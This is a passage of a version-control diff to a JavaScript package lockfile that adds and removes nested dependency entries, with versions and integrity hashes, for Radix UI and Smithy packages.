- "@radix-ui/react-dialog/@radix-ui/react-id": ["@radix-ui/react-id@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-use-layout-effect": "1.0.0" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-Q6iAB/U7Tq3NTolBBQbHTgclPmGWE3OlktGGqrClPozSw4vkQ1DfQAOtzgRPecKsMdJINE05iaoDUG8tRzCBjw=="],
-
- "@radix-ui/react-dialog/@radix-ui/react-presence": ["@radix-ui/react-presence@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-compose-refs": "1.0.0", "@radix-ui/react-use-layout-effect": "1.0.0" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-A+6XEvN01NfVWiKu38ybawfHsBjWum42MRPnEuqPsBZ4eV7e/7K321B5VgYMPv3Xx5An6o1/l9ZuDBgmcmWK3w=="],
-
- "@radix-ui/react-dialog/@radix-ui/react-primitive": ["@radix-ui/react-primitive@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-slot": "1.0.1" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-fHbmislWVkZaIdeF6GZxF0A/NH/3BjrGIYj+Ae6eTmTCr7EB0RQAAVEiqsXK6p3/JcRqVSBQoceZroj30Jj3XA=="],
-
- "@radix-ui/react-dialog/@radix-ui/react-slot": ["@radix-ui/react-slot@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-compose-refs": "1.0.0" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-avutXAFL1ehGvAXtPquu0YK5oz6ctS474iM3vNGQIkswrVhdrS52e3uoMQBzZhNRAIE0jBnUyXWNmSjGHhCFcw=="],
-
- "@radix-ui/react-dialog/@radix-ui/react-use-controllable-state": ["@radix-ui/react-use-controllable-state@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-use-callback-ref": "1.0.0" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-FohDoZvk3mEXh9AWAVyRTYR4Sq7/gavuofglmiXB2g1aKyboUD4YtgWxKj8O5n+Uak52gXQ4wKz5IFST4vtJHg=="],
-
- "@radix-ui/react-dismissable-layer/@radix-ui/primitive": ["@radix-ui/primitive@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" } }, "sha512-3e7rn8FDMin4CgeL7Z/49smCA3rFYY3Ha2rUQ7HRWFadS5iCRw08ZgVT1LaNTCNqgvrUiyczLflrVrF0SRQtNA=="],
-
- "@radix-ui/react-dismissable-layer/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-0KaSv6sx787/hK3eF53iOkiSLwAGlFMx5lotrqD2pTjB18KbybKoEIgkNZTKC60YECDQTKGTRcDBILwZVqVKvA=="],
-
- "@radix-ui/react-dismissable-layer/@radix-ui/react-primitive": ["@radix-ui/react-primitive@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-slot": "1.0.1" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-fHbmislWVkZaIdeF6GZxF0A/NH/3BjrGIYj+Ae6eTmTCr7EB0RQAAVEiqsXK6p3/JcRqVSBQoceZroj30Jj3XA=="],
-
- "@radix-ui/react-dismissable-layer/@radix-ui/react-use-callback-ref": ["@radix-ui/react-use-callback-ref@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-GZtyzoHz95Rhs6S63D2t/eqvdFCm7I+yHMLVQheKM7nBD8mbZIt+ct1jz4536MDnaOGKIxynJ8eHTkVGVVkoTg=="],
+ "@radix-ui/react-dismissable-layer/@radix-ui/primitive": ["@radix-ui/primitive@1.1.3", "", {}, "sha512-JTF99U/6XIjCBo0wqkU5sK10glYe27MRRsfwoiq5zzOEZLHU3A3KCMa5X/azekYRCJ0HlwI0crAXS/5dEHTzDg=="],
"@radix-ui/react-dropdown-menu/@radix-ui/primitive": ["@radix-ui/primitive@1.1.0", "", {}, "sha512-4Z8dn6Upk0qk4P74xBhZ6Hd/w0mPEzOOLxy4xiPXOXqjF7jZS0VAKk7/x/H6FyY2zCkYJqePf1G5KmkmNJ4RBA=="],
@@ -5919,12 +5521,6 @@
"@radix-ui/react-dropdown-menu/@radix-ui/react-use-controllable-state": ["@radix-ui/react-use-controllable-state@1.1.0", "", { "dependencies": { "@radix-ui/react-use-callback-ref": "1.1.0" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-MtfMVJiSr2NjzS0Aa90NPTnvTSg6C/JLCV7ma0W6+OMV78vd8OyRpID+Ng9LxzsPbLeuBnWBA1Nq30AtBIDChw=="],
- "@radix-ui/react-focus-scope/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-0KaSv6sx787/hK3eF53iOkiSLwAGlFMx5lotrqD2pTjB18KbybKoEIgkNZTKC60YECDQTKGTRcDBILwZVqVKvA=="],
-
- "@radix-ui/react-focus-scope/@radix-ui/react-primitive": ["@radix-ui/react-primitive@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-slot": "1.0.1" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-fHbmislWVkZaIdeF6GZxF0A/NH/3BjrGIYj+Ae6eTmTCr7EB0RQAAVEiqsXK6p3/JcRqVSBQoceZroj30Jj3XA=="],
-
- "@radix-ui/react-focus-scope/@radix-ui/react-use-callback-ref": ["@radix-ui/react-use-callback-ref@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-GZtyzoHz95Rhs6S63D2t/eqvdFCm7I+yHMLVQheKM7nBD8mbZIt+ct1jz4536MDnaOGKIxynJ8eHTkVGVVkoTg=="],
-
"@radix-ui/react-hover-card/@radix-ui/primitive": ["@radix-ui/primitive@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" } }, "sha512-yQ8oGX2GVsEYMWGxcovu1uGWPCxV5BFfeeYxqPmuAzUyLT9qmaMXSAhXpb0WrspIeqYzdJpkh2vHModJPgRIaw=="],
"@radix-ui/react-hover-card/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-fDSBgd44FKHa1FRMU59qBMPFcl2PZE+2nmqunj+BWFyYYjnhIDWL2ItDs3rrbJDQOtzt5nIebLCQc4QRfz6LJw=="],
@@ -5971,6 +5567,8 @@
"@radix-ui/react-menu/@radix-ui/react-use-callback-ref": ["@radix-ui/react-use-callback-ref@1.1.0", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-CasTfvsy+frcFkbXtSJ2Zu9JHpN8TYKxkgJGWbjiZhFivxaeW7rMeZt7QELGVLaYVfFMsKHjb7Ak0nMEe+2Vfw=="],
+ "@radix-ui/react-menu/react-remove-scroll": ["react-remove-scroll@2.5.5", "", { "dependencies": { "react-remove-scroll-bar": "^2.3.3", "react-style-singleton": "^2.2.1", "tslib": "^2.1.0", "use-callback-ref": "^1.3.0", "use-sidecar": "^1.1.2" }, "peerDependencies": { "@types/react": "^16.8.0 || ^17.0.0 || ^18.0.0", "react": "^16.8.0 || ^17.0.0 || ^18.0.0" } }, "sha512-ImKhrzJJsyXJfBZ4bzu8Bwpka14c/fQt0k+cyFp/PBhTfyDnU5hjOtM4AG/0AMyy8oKzOTR0lDgJIM7pYXI0kw=="],
+
"@radix-ui/react-popover/@radix-ui/primitive": ["@radix-ui/primitive@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" } }, "sha512-yQ8oGX2GVsEYMWGxcovu1uGWPCxV5BFfeeYxqPmuAzUyLT9qmaMXSAhXpb0WrspIeqYzdJpkh2vHModJPgRIaw=="],
"@radix-ui/react-popover/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-fDSBgd44FKHa1FRMU59qBMPFcl2PZE+2nmqunj+BWFyYYjnhIDWL2ItDs3rrbJDQOtzt5nIebLCQc4QRfz6LJw=="],
@@ -5993,6 +5591,8 @@
"@radix-ui/react-popover/@radix-ui/react-use-controllable-state": ["@radix-ui/react-use-controllable-state@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-use-callback-ref": "1.0.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-Svl5GY5FQeN758fWKrjM6Qb7asvXeiZltlT4U2gVfl8Gx5UAv2sMR0LWo8yhsIZh2oQ0eFdZ59aoOOMV7b47VA=="],
+ "@radix-ui/react-popover/react-remove-scroll": ["react-remove-scroll@2.5.5", "", { "dependencies": { "react-remove-scroll-bar": "^2.3.3", "react-style-singleton": "^2.2.1", "tslib": "^2.1.0", "use-callback-ref": "^1.3.0", "use-sidecar": "^1.1.2" }, "peerDependencies": { "@types/react": "^16.8.0 || ^17.0.0 || ^18.0.0", "react": "^16.8.0 || ^17.0.0 || ^18.0.0" } }, "sha512-ImKhrzJJsyXJfBZ4bzu8Bwpka14c/fQt0k+cyFp/PBhTfyDnU5hjOtM4AG/0AMyy8oKzOTR0lDgJIM7pYXI0kw=="],
+
"@radix-ui/react-popper/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-fDSBgd44FKHa1FRMU59qBMPFcl2PZE+2nmqunj+BWFyYYjnhIDWL2ItDs3rrbJDQOtzt5nIebLCQc4QRfz6LJw=="],
"@radix-ui/react-popper/@radix-ui/react-context": ["@radix-ui/react-context@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-ebbrdFoYTcuZ0v4wG5tedGnp9tzcV8awzsxYph7gXUyvnNLuTIcCk1q17JEbnVhXAKG9oX3KtchwiMIAYp9NLg=="],
@@ -6003,8 +5603,6 @@
"@radix-ui/react-popper/@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-v/5RegiJWYdoCvMnITBkNNx6bCj20fiaJnWtRkU18yITptraXjffz5Qbn05uOiQnOvi+dbkznkoaMltz1GnszQ=="],
- "@radix-ui/react-portal/@radix-ui/react-primitive": ["@radix-ui/react-primitive@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-slot": "1.0.1" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-fHbmislWVkZaIdeF6GZxF0A/NH/3BjrGIYj+Ae6eTmTCr7EB0RQAAVEiqsXK6p3/JcRqVSBQoceZroj30Jj3XA=="],
-
"@radix-ui/react-presence/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-fDSBgd44FKHa1FRMU59qBMPFcl2PZE+2nmqunj+BWFyYYjnhIDWL2ItDs3rrbJDQOtzt5nIebLCQc4QRfz6LJw=="],
"@radix-ui/react-presence/@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-v/5RegiJWYdoCvMnITBkNNx6bCj20fiaJnWtRkU18yITptraXjffz5Qbn05uOiQnOvi+dbkznkoaMltz1GnszQ=="],
@@ -6023,16 +5621,10 @@
"@radix-ui/react-select/@radix-ui/react-focus-guards": ["@radix-ui/react-focus-guards@1.1.2", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-fyjAACV62oPV925xFCrH8DR5xWhg9KYtJT4s3u54jxp+L/hbpTY2kIeEFFbFe+a/HCE94zGQMZLIpVTPVZDhaA=="],
- "@radix-ui/react-select/@radix-ui/react-focus-scope": ["@radix-ui/react-focus-scope@1.1.7", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-callback-ref": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-t2ODlkXBQyn7jkl6TNaw/MtVEVvIGelJDCG41Okq/KwUsJBwQ4XVZsHAVUkK4mBv3ewiAS3PGuUWuY2BoK4ZUw=="],
-
"@radix-ui/react-select/@radix-ui/react-popper": ["@radix-ui/react-popper@1.2.7", "", { "dependencies": { "@floating-ui/react-dom": "^2.0.0", "@radix-ui/react-arrow": "1.1.7", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-callback-ref": "1.1.1", "@radix-ui/react-use-layout-effect": "1.1.1", "@radix-ui/react-use-rect": "1.1.1", "@radix-ui/react-use-size": "1.1.1", "@radix-ui/rect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-IUFAccz1JyKcf/RjB552PlWwxjeCJB8/4KxT7EhBHOJM+mN7LdW+B3kacJXILm32xawcMMjb2i0cIZpo+f9kiQ=="],
- "@radix-ui/react-select/@radix-ui/react-portal": ["@radix-ui/react-portal@1.1.9", "", { "dependencies": { "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-bpIxvq03if6UNwXZ+HTK71JLh4APvnXntDc6XOX8UVq4XQOVl7lwok0AvIl+b8zgCw3fSaVTZMpAPPagXbKmHQ=="],
-
"@radix-ui/react-select/@radix-ui/react-use-previous": ["@radix-ui/react-use-previous@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-2dHfToCj/pzca2Ck724OZ5L0EVrr3eHRNsG/b3xQJLA2hZpVCS99bLAX+hm1IHXDEnzU6by5z/5MIY794/a8NQ=="],
- "@radix-ui/react-select/react-remove-scroll": ["react-remove-scroll@2.7.1", "", { "dependencies": { "react-remove-scroll-bar": "^2.3.7", "react-style-singleton": "^2.2.3", "tslib": "^2.1.0", "use-callback-ref": "^1.3.3", "use-sidecar": "^1.1.3" }, "peerDependencies": { "@types/react": "*", "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" } }, "sha512-HpMh8+oahmIdOuS5aFKKY6Pyog+FNaZV/XyJOq7b4YFwsFHe5yYfdbIalI4k3vU2nSDql7YskmUseHsRrJqIPA=="],
-
"@radix-ui/react-slider/@radix-ui/react-use-previous": ["@radix-ui/react-use-previous@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-2dHfToCj/pzca2Ck724OZ5L0EVrr3eHRNsG/b3xQJLA2hZpVCS99bLAX+hm1IHXDEnzU6by5z/5MIY794/a8NQ=="],
"@radix-ui/react-slider/@radix-ui/react-use-size": ["@radix-ui/react-use-size@1.1.1", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-ewrXRDTAqAXlkl6t/fkXWNAhFX9I+CkKlw6zjEwk86RSPKwZr3xpBRso655aqYafwtnbpHLj6toFzmd6xdVptQ=="],
@@ -6077,8 +5669,6 @@
"@radix-ui/react-toast/@radix-ui/react-visually-hidden": ["@radix-ui/react-visually-hidden@1.0.3", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-primitive": "1.0.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-D4w41yN5YRKtu464TLnByKzMDG/JlMPHtfZgQAu9v6mNakUqGUI9vUrfQKz8NK41VMm/xbZbh76NUTVtIYqOMA=="],
- "@radix-ui/react-use-escape-keydown/@radix-ui/react-use-callback-ref": ["@radix-ui/react-use-callback-ref@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-GZtyzoHz95Rhs6S63D2t/eqvdFCm7I+yHMLVQheKM7nBD8mbZIt+ct1jz4536MDnaOGKIxynJ8eHTkVGVVkoTg=="],
-
"@radix-ui/react-use-size/@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-v/5RegiJWYdoCvMnITBkNNx6bCj20fiaJnWtRkU18yITptraXjffz5Qbn05uOiQnOvi+dbkznkoaMltz1GnszQ=="],
"@rollup/plugin-babel/@rollup/pluginutils": ["@rollup/pluginutils@3.1.0", "", { "dependencies": { "@types/estree": "0.0.39", "estree-walker": "^1.0.1", "picomatch": "^2.2.2" }, "peerDependencies": { "rollup": "^1.20.0||^2.0.0" } }, "sha512-GksZ6pr6TpIjHm8h9lSQ8pi8BE9VeubNT0OMJ3B5uZJ8pz73NPiqOtCog/x2/QzM1ENChPKxMDhiQuRHsqc+lg=="],
@@ -6091,90 +5681,62 @@
"@rollup/pluginutils/picomatch": ["picomatch@2.3.1", "", {}, "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA=="],
+ "@smithy/abort-controller/@smithy/types": ["@smithy/types@4.10.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-K9mY7V/f3Ul+/Gz4LJANZ3vJ/yiBIwCyxe0sPT4vNJK63Srvd+Yk1IzP0t+nE7XFSpIGtzR71yljtnqpUTYFlQ=="],
+
"@smithy/credential-provider-imds/@smithy/node-config-provider": ["@smithy/node-config-provider@3.1.4", "", { "dependencies": { "@smithy/property-provider": "^3.1.3", "@smithy/shared-ini-file-loader": "^3.1.4", "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-YvnElQy8HR4vDcAjoy7Xkx9YT8xZP4cBXcbJSgm/kxmiQu08DwUwj8rkGnyoJTpfl/3xYHH+d8zE+eHqoDCSdQ=="],
"@smithy/credential-provider-imds/@smithy/types": ["@smithy/types@3.3.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-IxvBBCTFDHbVoK7zIxqA1ZOdc4QfM5HM7rGleCuHi7L1wnKv5Pn69xXJQ9hgxH60ZVygH9/JG0jRgtUncE3QUA=="],
"@smithy/credential-provider-imds/@smithy/url-parser": ["@smithy/url-parser@3.0.3", "", { "dependencies": { "@smithy/querystring-parser": "^3.0.3", "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-pw3VtZtX2rg+s6HMs6/+u9+hu6oY6U7IohGhVNnjbgKy86wcIsSZwgHrFR+t67Uyxvp4Xz3p3kGXXIpTNisq8A=="],
- "@smithy/hash-blob-browser/@smithy/types": ["@smithy/types@4.13.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-COuLsZILbbQsdrwKQpkkpyep7lCsByxwj7m0Mg5v66/ZTyenlfBc40/QFQ5chO0YN/PNEH1Bi3fGtfXPnYNeDw=="],
+ "@smithy/eventstream-codec/@smithy/types": ["@smithy/types@4.10.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-K9mY7V/f3Ul+/Gz4LJANZ3vJ/yiBIwCyxe0sPT4vNJK63Srvd+Yk1IzP0t+nE7XFSpIGtzR71yljtnqpUTYFlQ=="],
- "@smithy/hash-stream-node/@smithy/types": ["@smithy/types@4.13.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-COuLsZILbbQsdrwKQpkkpyep7lCsByxwj7m0Mg5v66/ZTyenlfBc40/QFQ5chO0YN/PNEH1Bi3fGtfXPnYNeDw=="],
+ "@smithy/eventstream-serde-universal/@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.4", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-aV8blR9RBDKrOlZVgjOdmOibTC2sBXNiT7WA558b4MPdsLTV6sbyc1WIE9QiIuYMJjYtnPLciefoqSW8Gi+MZQ=="],
- "@smithy/md5-js/@smithy/types": ["@smithy/types@4.13.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-COuLsZILbbQsdrwKQpkkpyep7lCsByxwj7m0Mg5v66/ZTyenlfBc40/QFQ5chO0YN/PNEH1Bi3fGtfXPnYNeDw=="],
+ "@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="],
- "@smithy/node-config-provider/@smithy/property-provider": ["@smithy/property-provider@4.2.12", "", { "dependencies": { "@smithy/types": "^4.13.1", "tslib": "^2.6.2" } }, "sha512-jqve46eYU1v7pZ5BM+fmkbq3DerkSluPr5EhvOcHxygxzD05ByDRppRwRPPpFrsFo5yDtCYLKu+kreHKVrvc7A=="],
+ "@smithy/middleware-retry/uuid": ["uuid@9.0.1", "", { "bin": "dist/bin/uuid" }, "sha512-b+1eJOlsR9K8HJpow9Ok3fiWOWSIcIzXodvv0rQjVoOVNpWMpxf1wZNpt4y9h10odCNrqnYp1OBzRktckBe3sA=="],
+
+ "@smithy/node-config-provider/@smithy/property-provider": ["@smithy/property-provider@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-o+VRiwC2cgmk/WFV0jaETGOtX16VNPp2bSQEzu0whbReqE1BMqsP2ami2Vi3cbGVdKu1kq9gQkDAGKbt0WOHAQ=="],
+
+ "@smithy/node-http-handler/@smithy/protocol-http": ["@smithy/protocol-http@5.3.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qLRZzP2+PqhE3OSwvY2jpBbP0WKTZ9opTsn+6IWYI0SKVpbG+imcfNxXPq9fj5XeaUTr7odpsNpK6dmoiM1gJQ=="],
+
+ "@smithy/node-http-handler/@smithy/types": ["@smithy/types@4.10.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-K9mY7V/f3Ul+/Gz4LJANZ3vJ/yiBIwCyxe0sPT4vNJK63Srvd+Yk1IzP0t+nE7XFSpIGtzR71yljtnqpUTYFlQ=="],
"@smithy/property-provider/@smithy/types": ["@smithy/types@3.3.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-IxvBBCTFDHbVoK7zIxqA1ZOdc4QfM5HM7rGleCuHi7L1wnKv5Pn69xXJQ9hgxH60ZVygH9/JG0jRgtUncE3QUA=="],
- "@smithy/util-defaults-mode-browser/@smithy/property-provider": ["@smithy/property-provider@4.2.12", "", { "dependencies": { "@smithy/types": "^4.13.1", "tslib": "^2.6.2" } }, "sha512-jqve46eYU1v7pZ5BM+fmkbq3DerkSluPr5EhvOcHxygxzD05ByDRppRwRPPpFrsFo5yDtCYLKu+kreHKVrvc7A=="],
+ "@smithy/querystring-builder/@smithy/types": ["@smithy/types@4.10.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-K9mY7V/f3Ul+/Gz4LJANZ3vJ/yiBIwCyxe0sPT4vNJK63Srvd+Yk1IzP0t+nE7XFSpIGtzR71yljtnqpUTYFlQ=="],
- "@smithy/util-defaults-mode-node/@smithy/credential-provider-imds": ["@smithy/credential-provider-imds@4.2.12", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.12", "@smithy/property-provider": "^4.2.12", "@smithy/types": "^4.13.1", "@smithy/url-parser": "^4.2.12", "tslib": "^2.6.2" } }, "sha512-cr2lR792vNZcYMriSIj+Um3x9KWrjcu98kn234xA6reOAFMmbRpQMOv8KPgEmLLtx3eldU6c5wALKFqNOhugmg=="],
+ "@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
- "@smithy/util-defaults-mode-node/@smithy/property-provider": ["@smithy/property-provider@4.2.12", "", { "dependencies": { "@smithy/types": "^4.13.1", "tslib": "^2.6.2" } }, "sha512-jqve46eYU1v7pZ5BM+fmkbq3DerkSluPr5EhvOcHxygxzD05ByDRppRwRPPpFrsFo5yDtCYLKu+kreHKVrvc7A=="],
+ "@smithy/signature-v4/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
- "@smithy/util-waiter/@smithy/abort-controller": ["@smithy/abort-controller@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-Hj4WoYWMJnSpM6/kchsm4bUNTL9XiSyhvoMb2KIq4VJzyDt7JpGHUZHkVNPZVC7YE1tf8tPeVauxpFBKGW4/KQ=="],
+ "@smithy/util-defaults-mode-browser/@smithy/property-provider": ["@smithy/property-provider@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-o+VRiwC2cgmk/WFV0jaETGOtX16VNPp2bSQEzu0whbReqE1BMqsP2ami2Vi3cbGVdKu1kq9gQkDAGKbt0WOHAQ=="],
- "@smithy/util-waiter/@smithy/types": ["@smithy/types@4.13.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-COuLsZILbbQsdrwKQpkkpyep7lCsByxwj7m0Mg5v66/ZTyenlfBc40/QFQ5chO0YN/PNEH1Bi3fGtfXPnYNeDw=="],
+ "@smithy/util-defaults-mode-node/@smithy/credential-provider-imds": ["@smithy/credential-provider-imds@4.0.1", "", { "dependencies": { "@smithy/node-config-provider": "^4.0.1", "@smithy/property-provider": "^4.0.1", "@smithy/types": "^4.1.0", "@smithy/url-parser": "^4.0.1", "tslib": "^2.6.2" } }, "sha512-l/qdInaDq1Zpznpmev/+52QomsJNZ3JkTl5yrTl02V6NBgJOQ4LY0SFw/8zsMwj3tLe8vqiIuwF6nxaEwgf6mg=="],
+
+ "@smithy/util-defaults-mode-node/@smithy/property-provider": ["@smithy/property-provider@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-o+VRiwC2cgmk/WFV0jaETGOtX16VNPp2bSQEzu0whbReqE1BMqsP2ami2Vi3cbGVdKu1kq9gQkDAGKbt0WOHAQ=="],
+
